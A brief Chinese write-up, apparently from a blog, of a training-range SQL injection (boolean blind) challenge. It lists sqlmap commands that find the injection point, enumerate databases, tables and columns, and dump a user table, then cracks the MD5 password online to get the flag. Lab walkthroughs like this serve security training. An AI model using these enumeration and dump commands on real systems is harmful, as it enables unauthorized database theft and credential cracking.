解题方法:
运用sqlmap工具对数据库进行爆破
1.判断注入点存在:python sqlmap.py -u “ip”
2.判断数据库名称:python sqlmap.py -u “ip”–dbs
3.判断web当前使用的数据库:python sqlmap.py -u “ip”–current-dbs
4.判断web当前使用的数据表:python sqlmap.py -u “ip”-D database --tables
5.判断表中字段:python sqlmap.py -u “ip“-D dbs -T tables --columns
6.数据爆破:python sqlmap.py -u “ip“-D tourdata -T userb -C “a,b,c” --dump
得到用户名和密码,去百度寻找MD5解密,解码后得到密码在靶场网页登录得到key
MD5网页:https://www.cmd5.com/
在线靶场-墨者-SQL注入1星-SQL注入漏洞测试(布尔盲注)
最新推荐文章于 2024-07-25 15:47:17 发布